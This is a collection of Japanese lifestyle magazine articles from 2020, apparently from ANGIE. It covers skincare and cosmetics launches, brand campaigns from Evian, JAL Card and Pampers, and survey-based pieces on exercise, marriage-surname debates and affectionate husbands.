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暖かい日差しを感じる日も増えてきたこの季節。春本番に備えて、そろそろ紫外線対策を始めませんか？今回は、スキンケアしながらUVカットが叶う、UV美容液&乳液3選ご紹介します！今年発売となった最新アイテムをピックアップしました。「UV美容液」とは？シミのもととなる紫外線は、夏だけでなく365日放射されています。とはいえ、毎朝日焼け止めを塗るのは手間だし、肌の負担も心配ですよね…。そこで、忙しい女性たちの間で話題になっているのが、UV美容液。美容成分が贅沢に配合されたUV美容液やUV乳液なら、スキンケアしながらお手頃にUVカットが可能です！保湿UVケアなら『セラミド』に注目！UV美容液選びでぜひ注目してほしいのが、保湿成分の『セラミド』。敏感肌や乾燥肌ならぜひ知っておきたい成分です。成分に詳しい美容メディアでは、次のように紹介されています。セラミドの大きな特徴は、「肌のバリア機能」向上に一役買ってくれること！これは、薬品業界でも注目されています。肌のバリア機能が高い状態だと、水分の蒸発や、病原体、アレルゲンを防いでくれます。引用元：乾燥や荒れ肌が気になる方は、肌のバリア機能を高めてくれる保湿成分『セラミド』に着目したUV美容液をチョイスしてみてはいかがでしょうか？それではさっそく、セラミドケアができるUV美容液3選を見ていきましょう！①ソフィーナiP／UVレジストSOFINA ip＜全2種＞リッチクリーム、スムースミルクソフィーナiPは2019年、美容液2つでスキンケアを実現できる“ダブル美容液（セラム）システム”を提案し、女性たちに注目されているシリーズです。ダブル美容液システム同様、「ソフィーナ iPUVレジスト」は、忙しい女性たちが効率よくスキンケアできるUV美容液です。紫外線だけでなく、セラミドケアにより乾燥からも肌を守ります。ソフィーナ最高クラスの紫外線カット機能『SPF50＋PA++++』を搭載させ、さらに豊富な保湿成分が、透明感のある肌へ導きます。②クチュールアップ／エッセンスジェリーＵＶＭ・エッセンスクリームＵＶＭクチュールアップ価格（価格）：エッセンスジェリーUV M2,200円エッセンスクリームUV M2,600円スキンケアしながらUVカットできる、クチュールアップ日焼け止めシリーズ。高い日焼け止め効果『SPF50＋PA++++』はそのまま搭載し、美容液成分をパワーアップさせたものが新登場しました！美容液成分を85％配合で、ヒアルロン酸・コラーゲン・セラミドの保湿成分を中心に、うるおいをサポートする7つの植物エキスを配合。スーパーウォータープルーフ処方で、ハードなアクティビティ時にもぴったりです。③Skin mania／セラミドUVミルク株式会社ロゼット価格（価格）：1,500円株式会社ロゼットから販売されているSkin maniaより、セラミドスキンケアラインのUVケアが発売されました。UVケアはもちろん、一つでUVケア（SPF30＋PA++）、ブルーライトケア、美容液、乳液、化粧下地の機能をもつ日中乳液です。乾燥肌、敏感肌など女性が抱える悩みに対して、保湿成分セラミドのW処方でアプローチ。紫外線吸収剤不使用でお肌に優しいノンケミカル処方なため、敏感肌の方にもおすすめです。さらにブルーライトカットパウダー配合で、PC・スマホからの肌ダメージまで防いでくれます！UV美容液で今のお肌と将来のお肌、どちらも大切に！2020年に発売となった、最新のUV美容液&乳液3選をご紹介しました。UVケアは、今のお肌のケアだけにとどまらず、これからのシミ対策としても活躍してくれます。UV美容液で乾燥ケアもしつつ、将来のお肌のシミ対策もしっかりしていきましょう！参考：SOFINA ip、クチュールアップ、株式会社ロゼット、Liruuライター：島田 史

ワンランク上の美しさを提案する資生堂のトータルメイクアップブランド、「マキアージュ」。マキアージュで人気のルージュ「ドラマティックルージュEX」「ドラマティックルージュN」から、数量限定で限定カラーが発売されることが発表されました！3月21日（土）の発売に合わせてアップデートされた『パーソナルリップカラーCheck』にも注目。自分に似合う新色を見つけて、フレッシュな春を過ごしましょう♡ドラマティックルージュに、各3色の限定カラーが登場資生堂マキアージュ限定カラーが発売されるのは、「ドラマティックルージュEX」と「ドラマティックルージュN」の2種類。「ドラマティックルージュEX」は、美容オイル生まれのルージュで、塗り方を変えることで、ピュアも大人も印象を自在に演出してくれます。「ドラマティックルージュN」は、薄膜の艶がフィルムのように唇を包み込み、浮かずに色っぽさを演出してくれるのが特徴です。今回はこの2種類のリップから、次の各3色ずつが限定発売されます！資生堂マキアージュ限定ジュエルカラールージュは、鮮やかな見た目に対し、つけると自然になじむクリアな発色が特徴。唇にジュエルのような輝きを放つ大粒パールと、角度によって色が変わって見える微細な偏光パールを厳選配合しています。ナチュラルな艶感を演出するトレンドカラーで、唇を彩ってくれます。パーソナルカラーリップCheckで似合うルージュを見つけて！「自分に似合うリップカラーがわからない……」という人にぜひ活用してほしいのが、マキアージュの『パーソナルリップカラーCheck』。パーソナルカラーと顔立ちタイプから、おすすめのリップカラーが見つかります！さらに、バーチャルメイク機能で様々なカラーを試すことも可能。こちらはスマートフォン専用コンテンツなので、ぜひスマホ片手に、自分にぴったりのカラーを探してみてください。似合うリップカラーの探し方▼室内の明るい場所で、正面から顔写真を撮影します。▼資生堂独自の技術で瞳の色からパーソナルカラーと顔立ちを解析します。▼あなたに合ったリップカラーが判定されます！『パーソナルリップカラーCheck』はこちら【対象デバイス】スマートフォン専用（PCではご利用いただけません）【推奨動作環境】iOS/Android最新対象ブラウザ iOS Safari／Android Chrome限定商品がもらえるかも！Twitterキャンペーンも実施中さらにTwitterでは、今回紹介した限定ジュエルカラールージュが当たるキャンペーンを実施中。キャンペーン対象ツイートをリツイートするだけで、「ドラマティックルージュEX」RD602、「ドラマティックルージュN」RD402の現品2本セットが、抽選で200名に当たります。ぜひこちらも合わせてチェックしてみてくださいね！応募方法1．マキアージュの公式Twitterアカウント「@maquillage_jp」をフォロー2．キャンペーン対象ツイートをリツイートすると、マキアージュからジュエルにまつわるメッセージと抽選結果が届く！応募期間：2020年2月21日（金）11:00から2020年3月6日（金）10:59まで参考：資生堂 マキアージュライター：島田 史

美容や健康のためには水をたくさん摂取するのが良いというのは、ANGIE読者の方ならご存じですよね。日常的にミネラルウォーターを愛飲しているという人も多いのではないでしょうか。そんなミネラルウォーターの中でも特にポピュラーな存在が、フレンチアルプス生まれのナチュラルミネラルウォーターブランド「エビアン®」。このたび、「エビアン®」のボトルラベルデザインをリニューアルし、2020年3月16日（月）より順次発売を開始します。また、リニューアルにあわせて2020年4月6日（月）より豪華プレゼントが当たる「ナチュラルミネラルキャンペーン」も開催。早速内容をチェックしてみましょう！「フレンチアルプスの朝焼け」のグラデーションをモチーフカラーにした新ラベル！2020年3月16日（月）よりリニューアルする新ラベルデザイン“サンライズ”は、「エビアン®」の生まれ故郷であるフレンチアルプスの朝焼けのグラデーションをモチーフカラーとしています。日の出の頃、地平線が徐々に赤く染まっていく情景を通じて、自然なままの純粋さ、ユニークなミネラルバランスを表現。シンプルでオシャレなので、どんなファッションでも自然に馴染むのもポイントです。また、今回のリニューアルに合わせ、ブランドがかねてより取り組んでいる環境保全活動「エビアン® サステナビリティ・ジャーニー」の一環として、ペットボトル全種類において、リサイクルプラスチック（rPET）の10％の使用を開始予定とのこと。エビアン®では、2025年までにすべての商品においてのリサイクルプラスチック（rPET）の使用率を100％にすることを目指しているそう。いま、プラスチックゴミは世界的な問題になっています。私たち消費者が意識的にリサイクルプラスチックの製品を選ぶことで、環境保全のお手伝いができるのは素敵ですよね。豪華プレゼントが当たる、ラベルリニューアル記念キャンペーンこのたびのリニューアルにともない2020年4月6日（月）からは、「ナチュラルミネラルキャンペーン」と題して、1組2名様に豪華賞品が当たる、「チャンスコース」と「マイレージコース」の2種類のプレゼントキャンペーンを開催します。「チャンスコース」では、「エビアン®」のピュアなミネラルウォーターを育んだ大自然が体験できる、フランス・エビアンへの旅行を抽選で2名様にプレゼント。また、「エビアン®」を飲んで必ず当たる「マイレージコース」では、ご購入ごとにキャンペーンサイトで貯められる「ミネラルポイント」に応じて、豪華賞品をプレゼント！スタートはまだ少し先になりますが、プレゼントはなくなり次第終了となっていますので、見逃せないキャンペーンになりそうです。4月のキャンペーン開始を楽しみに待ちましょう！※参考：「エビアン®」公式サイト

肌が乾燥しがちな今の時期は、お肌のお手入れも入念に行いたいもの。肌トラブルを予防するために、いつものスキンケアにプラスしてパックをしてみてはいかがでしょう。こんな季節だからこそ、温かい室内で行うスペシャルケアが、肌も心も癒してくれるはずですよ。和素材で目指す美肌ケアパックは手間がかかるイメージがあるかもしれませんが、毎日のスキンケアにプラスしたり、週末のスペシャルケアとしてひと手間加えたりすることで、肌の質がぐっと上がるおすすめの方法です。目指したいのは、くすみの無い、輝く白肌。そんな美肌に導く成分として注目されるのが「酒粕」です。酒粕は伝統的な発酵食品として親しまれてきましたが、健康や美容に良いことでも知られます。そんな酒粕成分を使用した「ワフードメイド 酒粕パック」は、熊本県河津酒造の酒粕から抽出した、オリジナルの酒粕エキスを配合。くすみを洗い落とし、うるおって透明感のあるすべすべ白肌に導いてくれるパックです。おうちで簡単に酒粕パックが楽しめる人気商品で、塗って洗い流すタイプなので使い方も簡単です。実は、この「ワフードメイド 酒粕パック」が、山手線を車両ジャックしちゃうんです!いったい、何が起こるのでしょう!?美容パックが山手線をジャック?pdcこれは、株式会社pdcが2020年2月17日（月）より開始する、JR山手線を中心とした「ワフードメイド 酒粕パック」のトレインジャック企画「真っ白な山手線、誕生。山手線まるごと酒粕パック。」です。この企画では、「酒粕」が持つ“白さ”と“質感”に注目し、雪のように真っ白で美しく、しっとりやわらかい酒粕の心地よさを直感的に伝えるべく、JR山手線をはじめとした全国の3路線の車両を「酒粕パック」によりジャックします。車両の内側には、まるで本物の酒粕を塗ったかのような、文字がいっさい入っていない「真っ白」な中吊りポスターが掲出されるうえに、車両そのものを「酒粕パック」したという設定で、車両全体を酒粕の美しい白で包み込みます。また、山手線内のポスターは立体印刷で厚みを出すことにより、酒粕のテクスチャーまで忠実に表現するというこだわりよう。まるで本当に酒粕が紙に塗ってあるかのような“白さ”と“質感”が楽しめます。いつもならカラフルな中づり広告で溢れる電車内が、真っ白になるなんて、ぜひ見てみたいですよね！ pdcさらに、JR山手線では、車内ジャックだけではなく、車体ラッピングも実施予定です。酒粕をイメージした白い背景をベースにした、和を感じさせるデザインの「ワフードメイド 酒粕パック」ラッピングトレインが、山手線の線路を駆け巡ります。真っ白な山手線に出会えるのは、2月17日～3月1日までの2週間となっています。これは、ぜひともチェックしておきたい！この機会に、真っ白な山手線と酒粕パックを体感してみてくださいね。参考：pdc

幸せな結婚をしたい、けれどいろいろなものが足枷になって結婚に踏み切れない、結婚をしなくてもいいと思っている、という人が少なくありません。周りを見渡してみても、長年付き合っているけれど結婚をしないカップルや、シングルを貫いている人が珍しくないのではないでしょうか。また、制度的な問題で本人たちは結婚をしたいのに、結婚できないというカップルもいます。株式会社ウエディングパークは、「結婚を、もっと幸せにしよう。」という経営理念のもと、今の結婚に関する課題や問題を取り上げて考え、解決への糸口を探っていくプロジェクト「#結婚はこのままでいいのか」プロジェクトを発足。YouTube動画「結婚はこのままでいいのか!?TV」の配信を開始しました。結婚したいのに、しない人が増えている結婚はこのままでいのか!?TVかつては「することが当たり前」だった結婚も、今は「する・しないを個人で選択するもの」と考えられる時代になりました。国立青少年教育振興機構による若者の結婚観・子育て観等に関する調査(平成27年12月)によると、20代～30代の男女の74.9%が「結婚したい」という結果が出ているにもかかわらず、「結婚しない人が増えている」というメディアの報道も見られます。皆さんも「結婚をしない人が多い」という実感があるかもしれません。そこでウェディングパークでは、「何が結婚、そして結婚生活のハードルになっているのか」を探るため、日本全国の皆さんと一緒に結婚について本気で考え、誰より幸せな結婚を追求する「#結婚はこのままでいいのか」プロジェクトを始動しました。第1弾として、キャイ〜ン天野ひろゆきさん、SHELLYさんがMCを務めるYouTube動画「結婚はこのままでいいのか!?TV」を2月13日より配信開始。「苗字制定の日」である2月13日は「結婚制度って、古くない？」をテーマに、「選択的夫婦別姓」について配信されました。YouTube動画「結婚はこのままでいいのか!?TV」YouTubeキャイ〜ン天野ひろゆきさんとSHELLYさんがMCを務める同番組では、結婚情報に詳しい有識者や、さまざまな結婚の価値観を持っているゲストの方々と一緒に、結婚にまつわる課題や問題を本音で熱く、そして楽しくトークします。第1回の配信「結婚制度って、古くない？～選択的夫婦別姓編～」では、「なぜ苗字を変えなくてはいけないのか」というテーマでトークが行われました。そもそも江戸時代までは日本人のほとんどが姓を持っていませんでした。明治8年に国民全員に姓をもつことが義務づけられてから明治31年の民法制定までは、「夫婦別姓」を前提とした制度だったことがトークの中で判明。さらに、「夫婦同姓」を法律で義務付けているのは、世界中で日本だけという事実も明らかになりました。ヨーロッパやタイなど「夫婦同姓」だった国もあったのですが、世界の流れは「夫婦別姓」で、ここ10～20年で各国の法律がどんどん変わったそう。「夫婦別姓でも不便はない」当事者の声実際に夫婦別姓のために事実婚を選んだ出演者からは、「これまでに別姓で不便を感じたことはこれまでにない」「子どもたちも不便はないと言っている」という話が。唯一のデメリットは「どちらかが他界したとき、相続の税控除が受けられないこと」。さまざまな立場から率直な意見が飛び交いました。結婚はこのままでいのか!?TVアメリカ国籍で国際結婚のため別姓を選択できたSHERRYさんは、苗字が違っても、子どもも周りも自分と夫の子どもだと分かるという経験談を披露。天野さんは、結婚を機に苗字が「鬼龍院」に変わった場合、「全然“鬼龍院感”が出ない」と笑いを交えて語り、苗字が変わることに違和感があることを感じさせました。ウエディングパーク・結婚あした研究所編集長の菊地亜希さんは、結婚の法律に不満を感じている人の43％が「苗字を変えることが不満」と回答していることに触れ、特に苗字を変えることに対して、女性の64％が不満を感じていて、デメリットの当事者になりやすいのは女性であることが紹介されました。また、ウエディングパークの調査によると、婚姻制度の法律への不満として、「どちらかが苗字を変える必要があること（43％）」のほか、「離婚した場合、女性にのみ再婚禁止期間が設けられていること（44％）」「婚姻時に証人の記入が必要であること（37％）」「同性同士の結婚が認められていないこと（20%）」などもあげられています。「結婚はこのままでいいのか!?TV」では、「好きって、つづくの？」、「ふつうの結婚って、何？～出会い編～」、「結婚制度って、古くない？～同性婚編～」、「家族のルールって、いる？」をテーマに順次動画を公開する予定です。結婚しやすく、結婚によって不都合が生じない制度作りが必要現時点での日本の法律では、「結婚した」というだけで、住民票、銀行口座、クレジットカード、免許証、パスポートなどあらゆるものを「名義変更」しなくてはいけません。多くの場合それは女性のみで、名義変更をすることで数百円～数千円の手数料を取られることも珍しくありません。本来おめでたいはずの結婚で祝福されてしかるべきなのに、さまざまな手続のために時間もお金も労力もかかります。そしてそれが女性にばかり偏っていることに疑問を抱いている人は少なくないでしょう。少子化が大きな問題となり、結婚したい人が多いけれど結婚しない人が増えている今。少しでも結婚に伴う不都合が減り、結婚への障壁が低くなるよう制度を整える必要があるのかもしれません。※参考「結婚制度って、古くない？～選択的夫婦別姓編～」

「運動不足なのは分かっているし、もう少し引き締まった体になりたいな…！」とは思いつつ、つい面倒に感じてしまう運動やトレーニング。通勤途中にジムを見かけるたびに「通おうかな、でもなあ……。」と理由をつけて後回しにしている人も多いのでは？今回は、株式会社明治が働く女性500人を対象におこなった「トレーニングに関する調査」の結果をもとに、女性たちのトレーニング事情を探ってみます。約4割の女性が健康・美容のためにトレーニングを実践！PRTIMESこの調査で、働く女性たちに「定期的にトレーニングをしているか」という質問をしたところ、36.6％の人から「している」という回答がありました。トレーニングの頻度は、最も多い「週1日（24.6％）」に次いで「毎日（17.5％）」と答えた人が2番目に多い結果に。なんと、6人に1人は毎日欠かさずトレーニングをしていることがわかりました。仕事に追われていると「体を動かしたくても余裕がない」「疲れてしまって動きたくない」という気持ちになることも多いなか、毎日欠かさずトレーニングをしている人達が一定数いることに驚きます。「週に1回」と答えた人が多いのは、毎日は難しくとも「週1回なら、私にもできるかも！」と思えるペースだからかもしれませんね。PRTIMES続いてトレーニングする理由を聞いたところ、「健康のため（73.8％）」「美容のため（59.6％）」という回答が多い結果となりました。具体的には、筋肉をつけるのはもちろんのこと、ナイスバディーになって水着を着たい、異性から魅力的に見られたい、（ヨガなどで）デトックスをしたいと、さまざまな理由があるようです。人気のトレーニング内容をチェック！鍛えたい部位は？トレーニングの内容については、最も多かった答えが「ウォーキング（55.7％）」、続いて「筋トレ（45.4％）」という結果に。ウォーキングや筋トレは、ジムに入会せずとも、自宅でも手軽に取り組めるのが魅力。トレーニングに大変そうなイメージがある人も、これならできそうな気がしますね！PRTIMES女性たちが「鍛えたい」と思っている部位については、約8割が「お腹」と回答！続いて「太もも（46.6％）」「お尻（45.2％）」という結果になりました。美ボディを作るため、下半身を集中的に鍛えたいと思っている女性が多いようです。運動をサボりがちな「冬」こそ痩せやすい！？PRTIMES調査では、運動を怠ってしまう時期についても質問。多くの人が、12月〜2月の冬の季節にトレーニングを休みがちなことがわかりました。寒くて外に出たくなかったり、忘年会や新年会とイベントが多い冬は、つい運動をサボりたくなってしまいますよね……。冬は室内で筋トレやヨガをしよう、と家の中でできるトレーニングに切り替えるのも良さそうです。PRTIMESつい運動を避けてしまう冬に対し、「よく汗をかく夏の方がトレーニング効果が出そう」なんて思っていませんか？実際、「夏と冬ではどちらの季節の方が、基礎代謝が上がると思うか」という質問に対しては、約6割もの人が「夏」と回答しています。ところが、実は、夏より冬のほうがトレーニングに適しているといえそうです。というのも、体温を維持するためにエネルギーを使うため、冬のほうが基礎代謝が上がるといわれているのです。動きたくない気持ちが強まる冬ですが、ぜい肉を落として筋肉を付けるには、積極的にトレーニングに取り組みたいものですね。運動効果を高める「プロテイン」、飲む頻度は？PRTIMES運動の効果を高めるためには、運動後30分以内にタンパク質を摂取すると良いとされています。タンパク質を手軽に摂れるプロテインについての質問では、「摂取している」と答えた人が14.8％という結果に。摂取頻度については「毎日（20.3％）」が最も多くなっています。PRTIMES「プロテインって効果はあるの？」という疑問を抱いている人もいるかと思いますが、実際、効果を実感している人は多いようです。「プロテインを摂取して効果を実感しているか」という質問に対しては、約7割もの人が「実感している」と回答！プロテインによって筋トレ効果実感できると、よりトレーニングが楽しくなって継続につながりそうです。まずは週1回でOK！トレーニングを始めよう筋肉を付けて体を引き締める、適度な運動でリフレッシュする、代謝を上げて太りにくい体を作るなど、さまざまなメリットがある「トレーニング」。まずは家でストレッチや簡単な筋トレなど、週1回でも「体を動かす習慣」を作ることからスタートするのもいいかもしれません。自宅トレーニングなら、ウェアや道具の準備も不要！基礎代謝が上がる冬の時期こそ、トレーニングを始めてみては？参考：PRTIMES

疲れた心と体を癒すのは、何と言ってもおいしいもの。日本には全国に「その土地でしか味わえないご当地グルメ」がたくさんあります。「あそこに行ってあのご当地グルメを食べて、ついでにきれいな景色を見て癒されたい！」なんて考えること、ありませんか。知られざる日本各地のご当地グルメがチェックできる、素敵なキャンペーンが開催中です！日本全国の食べに行ってほしい“マイル飯”JALカード株式会社JALカードでは、JALカードでたまったマイルをつかって、気軽に旅先のグルメを楽しむ「マイル飯」をテーマにした新WEB CMおよびキャンペーンを、2020年2月3日（月）より開催中です。こちらの画像は、松山の「フルーツサンド」。愛媛の名産であるみかんがたっぷり入っており、見た目もかわいいフルーツサンドはインスタ映え確実ですよね！ JALカードこちらは青森の「味噌カレー牛乳ラーメン」。濃厚な味噌、スパイシーなカレーをまろやかな牛乳が包み込んだ絶品ラーメンです。見ているだけでヨダレが出てきそうになるくらいおいしそう！「今すぐ私も青森に行きたい！」と感じる人は多そうです。JALカード 「全国マイル飯キャンペーン」JALカード 「全国マイル飯」キャンペーンでは、「dancyu食いしん坊倶楽部」の会員4,000名に聞いた、日本全国の食べに行ってほしい“マイル飯”を、『dancyu』の誌面やWEBサイト、JALカードの新WEB CMやキャンペーンを通じて紹介しています。おいしいもの好きなグルメが選ぶご当地グルメ、どれも全部味わい尽くしたくなりますね。もしかしたら、皆さんのご近所のご当地グルメも紹介されているかもしれません。人気ファッションモデルの谷川りさこさんが出演するWEB CMも放映中ですので、ぜひチェックしてみてくださいね！食べに行きたい「マイル飯」を選んで投票、15,000マイルを当てよう！今回のキャンペーンでは、「dancyu食いしん坊倶楽部」が調査した地方グルメから、食べに行きたい「マイル飯」を選ぶ投票企画も行われます。投票の候補となる「マイル飯」は、「個性派ラーメン」「山盛り果物」「港めし」の3つのジャンルから2品ずつ、合計6メニュー。投票した人の中から、選考で合計6人（1つの「マイル飯」につき1人ずつ）に、マイル飯につかえる15,000マイルがプレゼントされます。応募方法は、JALカードのTwitter公式アカウント（@JALCardOfficial）をフォローのうえ、「#JALカード」「#全国マイル飯」と、選んだ「マイル飯」のハッシュタグをつけて、その「マイル飯」に投票する理由やあなたのおすすめマイル飯をツイートするだけ。Twitterのアカウントがあれば、誰でも参加でき、複数回答可能です。【個性派ラーメン】■青森市民のソウルフード！ 個性派なのに絶品の「味噌カレー牛乳ラーメン」（青森）■親鳥のだしがきいた醤油スープがたまらない、人気B級グルメ「笠岡ラーメン」（岡山）【山盛り果物】■イチゴが初めて上陸したと言われる街、長崎での「イチゴづくし」（長崎）■愛媛の名産品・みかんがたっぷり入ったフルーツサンドで「みかんづくし」（愛媛）【港めし】■北海道の自然で育まれた新鮮なうにをふんだんに使った「贅沢うに丼」（北海道）■他ではなかなか食べられない、生さばを味わえる郷土料理「新鮮ごまさば丼」（福岡）食べたことがあるご当地グルメや、気になっていたご当地グルメ、初めて知ったというご当地グルメなど、「全部食べたい！」人も多いのでは。キャンペーンは複数回答可なので、気になるご当地グルメにどんどん回答して応募しましょう。この機会に、たまった疲れを癒してリフレッシュする「おいしいものを食べに行く旅」を計画するのも楽しそうです。ご当地グルメを食べるついでに温泉にも入って……なんて、考えるだけでワクワクしませんか。参考：「全国マイル飯キャンペーン」特設サイト

子育て中のママやパパにとって、お出かけは子どもとの触れ合いや思い出作り、健やかな成長のためにもとても重要です。気分転換にもなり、子どもにも親にも良い影響をあたえてくれます。しかし、赤ちゃんとのお出かけには心配もつきもの。「ぐずってしまったらどうしよう」「電車やバスで泣かれたらどうしよう」そして最も切実な問題は、「おむつを交換できる場所がなかったらどうしよう」ということではないでしょうか。筆者も子育て中ですが、おむつ替えができる場所を求めてさまよい、疲れ切ってしまい、お出かけが億劫になってしまった経験があります。そんなママやパパ達のお出かけを応援するべく、乳幼児用紙おむつブランドの『パンパース』が「あなたらしい子育てが、いちばん。」プロジェクトを始動。道の駅をはじめとした全国の公共施設や商業施設などに、おむつ交換代やベビーケアルームの設置をスタートしました。お出かけのハードルを上げる「おむつ替え」家ソト育児に不安を抱えるパパママ多数！プロジェクト開始にあたって開かれた記者発表会では、外出先での育児＝家ソト育児の実態を探る「家ソト育児調査」を行った結果が報告されました。紙おむつをしている0歳〜3歳児のママとパパ1,000人を対象に行われたこの調査によると、家ソト育児が苦手だと感じるママパパが、なんと約9割もいることが明らかに！8割が、家ソト育児の環境向上を求めていることがわかりました。また子どもとの外出に6割以上の人が不安を抱えており、そのうち4割以上の人が要因として「おむつを交換する場所が少なそう」と、おむつ替えに困っているという現状が浮き彫りに。さらに7割以上の人が公共施設へのおむつ替え台の設置を望み、公園に次いで4割以上の人が駅や道の駅への設置を希望していることも判明しました。家ソト育児環境を整え、赤ちゃんとのお出かけを応援するプロジェクト開始！パンパースはこうしたママやパパの声を受け、赤ちゃんとのお出かけ応援として、おむつ交換台やベビーケアルームなどを全国の道の駅などの公共施設に順次導入することを決定。2020年1月21日（火）から実際に設置がスタートし、今年中に100台の設置を目指します。これは、育児の難しさや固定概念に悩み、つまずく全てのママやパパに寄り添い、多様な子育てを認め合える未来を目指す「あなたらしい子育てが、いちばん。」プロジェクトの第1弾として行われるものです。多様性の重要性が叫ばれる社会になってきていますが、子育てにおいての多様性はまだまだ改善の余地があることがこのプロジェクトの背景にあります。家ソト育児環境を整えることで、ママやパパがお出かけしたいときにすぐできるように支援し、自分らしい子育てができるようにとの想いも込められています。ママはもちろん、パパでも使えるおむつ交換台の導入のほか、ベビーケアルームmamaro（設置型授乳室）の設置も進めていくとのこと。実際にmamaroの中に入ってみたのですが、落ち着いて授乳ができる個室空間におむつ替えもできる十分なスペースがあり、感動！男性も利用できるとのことで、パパも堂々と使用することができます。道の駅は、2025年までにこのようなおむつ交換台やベビーコーナーの設置を全施設の50%以上に増やしたいとし、今回のプロジェクトを道の駅子育て応援のキックオフ第1弾にしたいということでした。子どもを積極的に受け入れてくれる環境を！子育てママパパの実際の声発表会では子育て真っ最中のママパパ代表としてお笑いトリオ・ジャングルポケットの太田博久さん、モデルの近藤千尋さんが登場し、普段の家ソト育児について現状を語りました。現在絶賛子育て中のお2人。「普段からパパは子育てに参加している？」との質問に、太田さんは、「“手伝う”という感覚は良くないと出産how to本で読んだので、パパも子育てをすることが当たり前だという意識で臨んでいます！」と、会場の笑いを誘いながら回答していました。それに対して、「楽しいことも悲しいことも半分ずつ分け合える。それが夫婦円満の秘訣にもなっています！」と近藤さん。また子どもを連れてお出かけすること、いわゆる家ソト育児をすることも多く、子どもを叱ることがはばかられたり、周りの目が気になったりする場面も多く、ママやパパに優しい社会にはまだまだなっていないと感じるそう。近藤さんは、それによってストレスが溜まり、旦那さんにあたってしまうこともあるそうです。子育て環境の整備だけではなく、周りの理解の向上も必要ということを改めて感じました。今回のプロジェクトについて、お2人それぞれがその想いを語ってくれました。「パパも使えるおむつ替え台の設置は本当に助かる。パパがおむつ交換をしようと思うと多目的トイレや一部の限られた施設のみになるため行列になっていることもあるんです。ママもパパも平等に、お出かけしたときくらいパパがおむつ替えをしてあげたい」（太田さん）「おむつ交換台は女性用トイレでも設置していないところがまだまだあり、最悪狭い個室の中で膝の上に赤ちゃんを乗せておむつを交換することもあります。こうしたママの大変さを少しでもなくせたらいいと思います。また、ママとパパが一緒に使えるところもあまりないのでその面でもありがたいなぁと思っています」（近藤さん）家ソト育児環境を整えていくことはもちろんですが、同時に子育てに対する意識や理解もまだ十分ではなく、必須のものであることが今回の発表会を通してわかりました。このプロジェクトがママやパパに優しい世の中になるきっかけになり、育児が今よりもっと楽しめる社会になることを切に願います。※参考：パンパース「あなたらしい子育てが、いちばん。」プロジェクト

「大好きな彼とは、ずっと一緒にいたい！」……とはいえ、いざ結婚となると、臆病になってしまう方も少なくないのでは？結婚は人生を左右する可能性があるだけに、大きな決断であることは間違いありません。かつては「結婚は人生の墓場」なんて言われた時代もあったようですし、結婚して本当に幸せになれるのか、不安になることもありますよね。でも安心してください！実は結婚後、年数がたつほど愛を実感しやすい傾向があるのだとか…！？今回は、結婚と愛妻家事情に関する真実をお伝えします。既婚女性の9割がパートナーを「愛妻家」と評価！ウエディングパーク株式会社ウエディングパークが、20代～30代の既婚女性368人を対象に「愛妻家」に関する調査を実施したところ、「自分のパートナーを愛妻家だと思う」と回答した女性は合わせて約9割にのぼりました。なんとも甘～い結果ではないですか！具体的なポイントについても、甘い回答が寄せられています。「毎日可愛いや好きだと言い合っている。家事も進んでやってくれたり、私の気分や体調を気にかけてくれるところ」（20代後半）「いつも愛していると言葉で伝えてくれ、ご飯も美味しいと食べてくれる。休みの日は必ず家族と過ごしてくれる」（30代後半）「家事を半分引き受けてくれていて、週交代で慣れないご飯作りや洗濯などしてくれるから」（30代後半）パートナーの日々の優しさや心遣いに、「愛されている」と感じる女性が多いことが伺えますね。結婚3年目の方が愛が深まっていた！？ウエディングパークさらに、結婚3年目以降の女性に「結婚1年目に比べて、パートナーに『愛されている』という実感はありますか」と質問したところ、「ある」もしくは「どちらかと言えばある」との回答が約5割と、こちらも高い結果になりました。その理由については、年月を重ねたからこその愛情エピソードが。「意見が合わないこともあったけど、たくさん話し合ってきたことで、分かり合えると感じているから（30代後半）」「お互いの生活リズムが尊重され、心地よい優しい言動が増えてきた（30代後半）」「褒められると伸びるタイプということが分かったのか、料理を褒めてくれるようになったから（30代前半）」一緒にいる時間が長い事で互いの理解も深まり、より愛されていると感じていることがわかるエピソードですね！愛妻家は妻の写真を撮るのが好き？愛妻家な夫の妻に対する行動では、こんなエピソードも。調査では、半数以上もの女性が「月1回以上パートナーが自発的に自分（妻）の写真を撮っている」と答えています。さらに、SNSにも積極的に奥様の写真をアップしている旦那様が少なくないもよう。「一緒に旅行に行った時に撮った、私の写りの良い写真を載せていた（30代前半）」「季節のイベントや、出掛けた時に、私が何かの写真を撮っている時に撮られることが多い（20代後半）」「美味しそうに食べる姿が好きらしく、大体その写真があげられている（30代前半）」一緒に出かけた際などに、愛する妻をSNSで公開する男性が多いようですね。「うちの愚妻が……」なんてほざいている男性は、すでに負の遺産になったと言っても差し支えないでしょう。有名人愛妻家No.1 は「りゅうちぇる」同調査では、愛妻家だと思う男性タレントについても質問しています。「愛妻家」だと思う芸能人ランキングでは、1位はりゅうちぇるさん、2位は杉浦太陽さん、3位は中尾明慶さんという結果になりました。SNSで奥様や家族の写真を公開したり、番組などでの奥様との愛情エピソードなどを披露したりしていることが支持されたようです。確かに、どなたも愛妻家のイメージがある方ばかりで、納得の結果ではないでしょうか。奥様を愛していることを躊躇わずに発信する姿は、清々しいですよね！愛されたいなら、まずは「愛夫家」になろう！夫婦とは言え、言葉や態度にあらわさなければ伝わらないことはたくさんあります。だからこそ、日々のコミュニケーションを積み重ねる努力が愛情といえるでしょう。それは夫だけでなく、妻にも求められること。パートナーに愛妻家になって欲しいなら、まずは“愛夫家”になりましょう。手始めに、日々の感謝を伝えるところから始めてみては？参考：ウエディングパーク（プレスリリース）

